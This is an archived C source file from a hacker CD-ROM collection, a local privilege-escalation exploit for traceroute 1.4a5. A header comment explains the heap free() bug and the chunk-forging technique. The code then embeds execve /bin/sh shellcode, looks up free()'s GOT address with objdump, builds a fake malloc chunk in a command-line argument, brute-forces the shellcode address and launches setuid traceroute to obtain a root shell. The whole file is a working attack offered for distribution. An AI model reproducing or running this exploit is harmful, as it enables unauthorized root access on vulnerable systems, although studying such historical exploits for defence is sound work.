home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / sortrace / sortrace.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  8.0 KB  |  324 lines

  1. /*
  2.  * exploit for traceroute 1.4a5 by sorbo (sorbox@yahoo.com)
  3.  *
  4.  * WARNING: NOT PRIVATE!!! DISTRIBUTE EVERYWHERE ;D
  5.  *
  6.  * Advisory: Chris Evans
  7.  *
  8.  * Vulnerability class: malloc chunks
  9.  *
  10.  *
  11.  * The problem is in the implementation of freehostinfo(). To be exact, free(hi->name); is the problem.
  12.  * hi->hname is allocated via savestr() from gethostinfo().
  13.  *
  14.  * savestr() is a clone of strdup but uses less mallocs. It allocates one chunk and returns pointers withing that chunk.
  15.  * The problem is that freehostinfo assumes savestr acts as strdup, so it free()'s all pointers. Only one pointer will
  16.  * actually be malloc()ed (the first host), the others will just be pointers in that heap area. Thus, when these other 
  17.  * pointers are free()ed, the application will segfault (because of an invalid malloc chunk... since there never was one).
  18.  *
  19.  * ie: traceroute -g 1 -g 2 will segfault.
  20.  *
  21.  * This because only space for 1 is malloced, whereas 2 has "allocated space" within the space of 1 (which is allocated with
  22.  * 1024 bytes and not only 17 or something).
  23.  *
  24.  * The idea is to create a valid memory chunk for the second host and another free memory chunk (so consolidation may occur)
  25.  * thus overwriting memory (free's GOT) to point to our shellcode (in argv or something).
  26.  *
  27.  *
  28.  * This is the memory initially (in bytes):
  29.  * 
  30.  * [ hostinfo: 16] [ STRPTR: 1032 ] [ADDR 16 ]
  31.  *
  32.  * After the first round of free's:
  33.  * [ hostinfo: 16] [ ADDR2 16 ]
  34.  *
  35.  * notice that we have control over the STRPTR area and there is an aditional pointer which will be free()d now that
  36.  * lies in the STRPTR area (which is now "free").
  37.  *
  38.  * we need to create a fake chunk (one that seems allocated) for that second pointer (which is our second ip).
  39.  * This is how the "strptr" area looks like before the free
  40.  * [IP1:x  ] [0] [IP2:x] [0]
  41.  * [ADDR2:16]
  42.  *
  43.  * We are interested in the 4 bytes before IP2 (size field of memory chunk).
  44.  * MSB will be 0.
  45.  * ADDR will overwrite IP1 (exactly 4 bytes and then pad with 0's).
  46.  * if we choose IP1 of length 7 (including null byte, eg:1.2.34), this will be structure of STRPTR:
  47.  * 
  48.  * [IP1:6] [0] [IP2:x] [0]
  49.  * [ADDR2:4][0:12]
  50.  *
  51.  * The 8 bytes before IP2 (the chunk header) will be:
  52.  * [HI:1] [ADDR2:4] [0:3]
  53.  *
  54.  * This means that size will be determined by the last byte of the second ip.
  55.  *
  56.  * ADDR2 is allocated 16 bytes, thus
  57.  
  58.  * We can set this to 16 (minimum chunk size) eg:1.2.3.17 (17 because we want PREV_INUSE set).
  59.  *
  60.  * This means that 8 bytes from the start of the second addr, free will expect another chunk header.
  61.  * that is EXACTLY after the ip address (we need to put a space here and fortunately space is even ascii code) 
  62.  * so the prev_size will be even. All we do is set an even prevsize, -4 size, free GOT addr - 12 in fd and argv[5] (shellcode)
  63.  * addr in bg
  64.  *
  65.  * and... root =D
  66.  *
  67.  */
  68.  
  69.  
  70.  
  71.  
  72. #include <stdio.h>
  73. #include <unistd.h>
  74. #include <sys/wait.h>
  75.  
  76.  
  77. char shellcode[] =
  78.     /* jump around (effectivly like a "nop space" /2) */
  79.     "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
  80.     "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"    
  81.  
  82.     /* NOPS */
  83.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  84.  
  85.         /* the Aleph One shellcode */
  86.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  87.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  88.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  89.                                                 
  90.  
  91.  
  92. #define TRACEROUTE "/usr/sbin/traceroute"
  93.  
  94. #define OBJDUMP "/usr/bin/objdump"
  95.  
  96. /* ojbdump traceroute | grep free */
  97. unsigned int FREE = 0;            /* free() GOT address */
  98.  
  99. /* ltrace traceroute (and u have a starting addr to start guessing from ;D ) */
  100. unsigned int SHELLCODE = 0;        /* argv[5] of traceroute */
  101.  
  102. char *env[] = { NULL };
  103.  
  104. void usage(char *m) {
  105.     printf("Usage: %s [options]\n",m);
  106.     printf("-h\t\t\tthis lame message\n");
  107.     printf("-f <addr>\t\tfree() GOT addr\n");
  108.     printf("-s <addr>\t\ttraceroute's argv[5] addr\n");
  109.     printf("-b\t\t\tbrute force argv[5] addr\n");
  110.     printf("-n\t\t\tdon't test vuln\n");
  111.     exit(0);
  112. }
  113.  
  114. void bruteforce(char *arg[], unsigned int *addr) {
  115.     int pid;
  116.     int status;
  117.  
  118.     printf("Starting brute force from %x incrememting 1 byte each time\n",*addr);
  119.     printf("If it hangs... ur probably close ;D try skipping the value\n");
  120.     
  121.     while(1) {
  122.         pid = fork();
  123.         if(pid < 0) {
  124.             perror("pid()");
  125.             exit(-1);
  126.         }
  127.  
  128.         /* child */
  129.         if(pid == 0) {
  130.             execve(TRACEROUTE,arg,env);
  131.             perror("execve()");
  132.             exit(0);
  133.         }
  134.         /* parent */
  135.         else {
  136.                 
  137.                     printf("Trying = %x\n",*addr);
  138.                     
  139.             wait(&status);
  140.             if(WIFEXITED(status) != 0)
  141.                 break;
  142.             (*addr)++;
  143.         }
  144.     }
  145.     printf("Done...\n");
  146.     exit(0);
  147. }
  148.  
  149. /* yes very lame n skript kiddie ;D */
  150. unsigned int getGOT(char *symb) {
  151.     int pid;
  152.     int fd[2];
  153.     char buf[1024];
  154.     char *arg[] = { "/bin/sh", "-c", buf, NULL };
  155.     unsigned int addr = 0;
  156.  
  157.     snprintf(buf,1024,"%s -R %s | grep %s",OBJDUMP,TRACEROUTE,symb);
  158.     
  159.     printf("Attempting to fetch free() addr (make sure u got objdump)\n");
  160.  
  161.  
  162.     if(pipe(fd) <0) {
  163.         perror("pipe()");
  164.         exit(0);
  165.     }
  166.     
  167.     pid = fork();
  168.     if(pid < 0) {
  169.         perror("fork()");
  170.         exit(0);
  171.     }
  172.  
  173.     /* child */
  174.     if(pid == 0) {
  175.         dup2(fd[1],1);
  176.         dup2(fd[1],2);
  177.         close(fd[0]);
  178.         close(fd[1]);
  179.         execve("/bin/sh",arg,env);
  180.         perror("execve()");
  181.         exit(0);
  182.     }
  183.     /* parent */
  184.     else {
  185.         int rd;
  186.  
  187.         close(fd[1]);
  188.  
  189.         rd = read(fd[0],buf,1024);
  190.         if(rd < 1) {
  191.             perror("read()");
  192.             exit(0);
  193.         }
  194.         buf[rd] = 0;
  195.         sscanf(buf,"%x",&addr);
  196.         wait(NULL);
  197.     }
  198.     printf("Adress %x... does it sound good !?!?! ;D\n",addr);    
  199.     return addr;    
  200. }
  201.  
  202. void checkVuln() {
  203.     int pid;
  204.     char *arg[] = { TRACEROUTE, "-g", "1","-g","1",NULL };
  205.     
  206.     pid = fork();
  207.     if(pid < 0) {
  208.         perror("fork()");
  209.         exit(0);
  210.     }
  211.     
  212.  
  213.     
  214.     /* child */
  215.     if(pid == 0) {
  216.         execve(TRACEROUTE,arg,env);
  217.         perror("execve()");
  218.         exit(0);
  219.     }
  220.     /* parent */
  221.     else {
  222.         int status;
  223.         printf("Checking vuln...\n");        
  224.         wait(&status);
  225.         if(WIFEXITED(status) != 0) {
  226.             printf("NOT VULN!! override with -n\n");
  227.             exit(0);
  228.         }
  229.     }
  230.     
  231.     printf("VULN!\n");
  232. }
  233.       
  234. int main(int argc, char **argv) {
  235.     unsigned char egg[1024];        /* hope we don't overflow it ;D no bounds check!!! */
  236.     unsigned int *ptr;
  237.     int opt;
  238.     int checkvuln = 1;
  239.     int brute = 0;
  240.     char *arg[] = { "exploited", "-g","1.2.34","-g",egg,shellcode,NULL };
  241.  
  242.     printf("Traceroute v1.4a5 exploit by sorbo (sorbox@yahoo.com)\n");
  243.  
  244.  
  245.         while( (opt = getopt(argc,argv,"f:s:hbn")) != -1) {
  246.             switch(opt) {
  247.                 case 'f':
  248.                     if(sscanf(optarg,"%x",&FREE) != 1) {
  249.                         printf("Invalid free addr\n");
  250.                         exit(-1);
  251.                     }
  252.                     break;
  253.  
  254.                 case 's':
  255.                     if(sscanf(optarg,"%x",&SHELLCODE) != 1) {
  256.                         printf("Invalid free addr\n");
  257.                         exit(-1);
  258.                     }
  259.                     break;
  260.  
  261.             case 'b':
  262.                 brute = 1;
  263.                 break;
  264.                 
  265.             case 'n':
  266.                 checkvuln = 0;
  267.                 break;
  268.                 
  269.             default:
  270.             case 'h':
  271.                 usage(argv[0]);
  272.         }                        
  273.     }
  274.     
  275.     if(checkvuln)
  276.         checkVuln();    
  277.     
  278.     /* ok all we need to construct is the second "ip" address */
  279.     strcpy(egg,"1.2.3.");    /* start normal ;D */
  280.  
  281.     /* SIZE OF FIRST CHUNK */
  282.     strcat(egg,"17");    /* 16 length... 17 so we set previnuse (we don't want to consolidate backwards */        
  283.  
  284.  
  285.     /* PREVSIZE OF FREE CHUNK */
  286.     strcat(egg," ");    /* by putting a space inet_addr will not fail and we can fill up with bullshit */
  287.     strcat(egg,"sex");    /* the space of before filled the LSB of the prevsize which we want even.. don't 
  288.                  * care about rest 
  289.                  */
  290.     
  291.     
  292.     /* SIZE OF FREE CHUNK */
  293.     ptr = (unsigned int*)(egg+strlen(egg));
  294.     *ptr = -4;    /* -4 so when it checks for is PREV_INUSE set for the "next" chunk it will actually check
  295.              * our freechunk's prev_inuse
  296.              */
  297.     ptr++;                 
  298.  
  299.     /* FD OF FREE CHUNK */
  300.     if(FREE == 0)
  301.         FREE = getGOT("free");
  302.     *ptr = FREE-12;
  303.     ptr++;
  304.     
  305.     /* BK OF FREE CHUNK */
  306.     if(SHELLCODE == 0)
  307.         SHELLCODE = 0xC0000000 - strlen(TRACEROUTE) - strlen(arg[5]) -6;    /* stack is argv[5] 0 traceroute 0 NULL */
  308.     *ptr = SHELLCODE;
  309.     ptr++;
  310.     
  311.     *ptr = 0;    /* the end */
  312.     
  313.  
  314.     printf("Lets ride...\n");
  315.     if(brute)
  316.         bruteforce(arg,ptr-1);
  317.             
  318.     printf("Trying %x\n",SHELLCODE);
  319.     execve(TRACEROUTE,arg,env);
  320.     perror("execve()");
  321.  
  322. }
  323.  
  324.